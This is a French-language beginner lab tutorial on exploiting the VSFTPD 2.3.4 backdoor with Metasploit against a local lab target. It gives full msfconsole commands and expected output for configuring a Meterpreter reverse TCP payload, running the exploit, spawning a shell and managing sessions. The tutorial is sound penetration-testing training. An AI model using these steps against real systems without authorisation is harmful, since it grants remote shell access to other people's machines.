Exécution d'un exploit simple avec Metasploit

LinuxBeginner
Pratiquer maintenant

Introduction

Bienvenue dans le monde des tests d'intrusion avec Metasploit ! Le framework Metasploit est un outil open-source puissant utilisé par les professionnels de la cybersécurité pour détecter les vulnérabilités sur les réseaux et les serveurs.

Dans ce laboratoire, vous allez réaliser un exploit classique et direct. Nous avons mis en place un environnement simulé où un serveur exécute une version vulnérable de VSFTPD (Very Secure FTP Daemon), plus précisément la version 2.3.4. Cette version particulière contient une porte dérobée bien connue qui a été secrètement ajoutée à son code source.

Votre objectif est d'utiliser la console Metasploit (msfconsole) pour trouver, configurer et lancer un exploit contre ce service afin d'obtenir un shell de commande sur le système cible. Cet exercice pratique vous enseignera le flux de travail fondamental de l'utilisation de Metasploit pour l'exécution d'un exploit simple.

Commençons !

Sélectionner l'exploit du service vulnérable avec use exploit/unix/ftp/vsftpd_234_backdoor

Dans cette étape, vous allez lancer la console Metasploit et sélectionner le module d'exploit approprié pour la porte dérobée de VSFTPD 2.3.4. La msfconsole est l'interface principale du framework Metasploit.

Tout d'abord, démarrez la console Metasploit. Nous utiliserons l'option -q (quiet) pour ignorer la bannière et démarrer plus rapidement.

msfconsole -q

Une fois la console chargée, votre invite de commande passera à msf >. Maintenant, vous devez indiquer à Metasploit quel exploit vous souhaitez utiliser. La commande use charge un module spécifique. Le module pour la porte dérobée de VSFTPD 2.3.4 se trouve à l'adresse exploit/unix/ftp/vsftpd_234_backdoor.

Exécutez la commande suivante dans la console Metasploit :

use exploit/unix/ftp/vsftpd_234_backdoor

Après avoir exécuté la commande, vous remarquerez que votre invite de commande change pour inclure le nom du module d'exploit sélectionné. Cela indique que le module est maintenant actif et prêt à être configuré.

Selon votre version de Metasploit, une charge utile (payload) par défaut peut être sélectionnée automatiquement (par exemple cmd/linux/http/x86/meterpreter_reverse_tcp). Cette charge utile nécessite deux paramètres :

  1. LHOST - L'adresse IP où Metasploit écoute la connexion inverse. Utilisez 127.0.0.1 pour ce laboratoire :
set LHOST 127.0.0.1
  1. Encoder - L'encodeur par défaut peut échouer avec le message "All encoders failed to encode." Définissez l'encodeur sur generic/none pour éviter l'encodage :
set Encoder generic/none

Définir l'IP cible avec set RHOSTS target_ip

Dans cette étape, vous allez configurer l'exploit en définissant l'adresse IP de l'hôte cible. La plupart des modules Metasploit nécessitent que vous spécifiiez une cible. L'option pour le(s) hôte(s) distant(s) cible(s) est RHOSTS.

Comme le service FTP vulnérable s'exécute sur la même machine que celle sur laquelle vous vous trouvez (notre environnement de laboratoire), vous pouvez utiliser l'adresse IP de bouclage (loopback), qui est 127.0.0.1.

Pour définir cette option, utilisez la commande set suivie du nom de l'option (RHOSTS) et de sa valeur (127.0.0.1).

Entrez la commande suivante dans votre msfconsole :

set RHOSTS 127.0.0.1

Metasploit confirmera le paramètre en affichant l'option et sa nouvelle valeur.

RHOSTS => 127.0.0.1

Vous avez maintenant indiqué à Metasploit où diriger l'attaque.

Vérifier les options de l'exploit avec show options

Dans cette étape, vous allez vérifier que toutes les options requises pour l'exploit sont correctement définies avant de le lancer. C'est une bonne pratique essentielle pour garantir que votre exploit est configuré correctement.

La commande show options affiche toutes les options configurables pour le module actuellement chargé, leurs paramètres actuels et si elles sont obligatoires.

Exécutez la commande suivante dans votre msfconsole :

show options

Vous verrez un tableau listant les options du module et les options de la charge utile.

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  127.0.0.1        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT   21               yes       The target port (TCP)

Payload options (cmd/linux/http/x86/meterpreter_reverse_tcp):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   LHOST    127.0.0.1        yes       The listen address (an interface may be specified)
   LPORT    4444             yes       The listen port
   ...

Observez la sortie. Assurez-vous que RHOSTS est 127.0.0.1 et que LHOST est 127.0.0.1. Le RPORT est 21 (FTP). Avec toutes les options requises définies, vous êtes prêt à continuer.

Exécuter l'exploit avec la commande exploit

Maintenant que l'exploit est configuré, vous allez l'exécuter contre la cible. La commande exploit (qui peut être abrégée en run) lance l'attaque en fonction du module et des paramètres actuels.

Exécutez l'exploit en saisissant la commande suivante et en appuyant sur Entrée :

exploit

DÉPANNAGE : Si vous voyez l'erreur Msf::OptionValidateError One or more options failed to validate: LHOST, exécutez set LHOST 127.0.0.1. Si vous voyez All encoders failed to encode, exécutez set Encoder generic/none pour désactiver l'encodage. Relancez ensuite exploit.

AVERTISSEMENT : La première tentative peut échouer avec le message "Unable to connect to backdoor on 6200/TCP. Cooldown?" ou "Exploit completed, but no session was created." Si cela se produit, relancez simplement la commande exploit ; la deuxième tentative devrait réussir.

Metasploit va maintenant tenter d'exploiter la porte dérobée (backdoor). Vous verrez s'afficher les détails des étapes de l'attaque. En cas de succès, cela déclenchera la porte dérobée et ouvrira une session Meterpreter.

[*] Started reverse TCP handler on 127.0.0.1:4444
[!] 127.0.0.1:21 - The port used by the backdoor bind listener is already open. Trying...
[+] 127.0.0.1:21 - Backdoor has been spawned!
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:xxxxx) at ...
meterpreter >

Important : Une fois l'exploit réussi, vous serez redirigé vers une invite de commande Meterpreter. Il s'agit de l'accès distant réussi ! Vous pouvez exécuter shell pour obtenir un interpréteur de commandes interactif, puis exécuter whoami ou id pour confirmer que vous avez bien accès au système :

shell
Process 1234 created.
Channel 1 created.
whoami
labex

Félicitations, vous avez réussi à obtenir un accès distant !

Vérifier la session avec sessions -l

Dans cette étape, vous apprendrez à gérer la connexion active, ou "session", que vous venez d'ouvrir. Metasploit vous permet d'avoir plusieurs sessions ouvertes en même temps et de basculer entre elles.

Tout d'abord, pour revenir à l'invite msfconsole sans fermer votre session, vous devez la mettre en arrière-plan. Appuyez sur Ctrl+Z sur votre clavier. Si vous êtes dans un shell (après avoir exécuté shell), tapez y pour mettre le canal en arrière-plan - vous reviendrez à meterpreter >. Appuyez à nouveau sur Ctrl+Z et tapez y lorsque vous y êtes invité pour mettre la session en arrière-plan :

Background session 1? [y/N]  y
msf exploit(unix/ftp/vsftpd_234_backdoor) >

La commande sessions ne fonctionne qu'à l'invite principale de Metasploit (msf exploit(...) >), pas à l'intérieur de Meterpreter. Vous êtes maintenant de retour à l'invite principale de Metasploit. Pour voir une liste de toutes vos sessions actives, utilisez la commande sessions avec l'option -l (list).

sessions -l

Cela affichera un tableau de toutes les sessions en arrière-plan, y compris leur ID, leur type et les informations de connexion.

Active sessions
===============

  Id  Name  Type                    Information  Connection
  --  ----  ----                    -----------  ----------
  1         meterpreter x86/linux                127.0.0.1:4444 -> 127.0.0.1:xxxxx (127.0.0.1)

Vous pouvez voir votre session listée avec un ID de 1. Si vous vouliez interagir à nouveau avec elle, vous utiliseriez la commande sessions -i 1. Cette gestion de session est une fonctionnalité clé de Metasploit.

Résumé

Félicitations ! Vous avez terminé avec succès ce laboratoire et effectué votre premier exploit en utilisant le framework Metasploit.

Dans ce laboratoire, vous avez appris le flux de travail fondamental d'un test d'intrusion avec Metasploit :

  • Démarrer la console Metasploit (msfconsole).
  • Sélectionner un module d'exploit spécifique avec la commande use.
  • Configurer la cible du module avec la commande set.
  • Vérifier la configuration avec show options.
  • Lancer l'attaque en utilisant la commande exploit.
  • Gérer la connexion résultante en utilisant sessions.

Ce modèle de base "sélectionner, configurer, exploiter" est le fondement de presque toutes les activités que vous effectuerez au sein de Metasploit. Vous disposez désormais des connaissances essentielles pour explorer des exploits et des charges utiles plus complexes.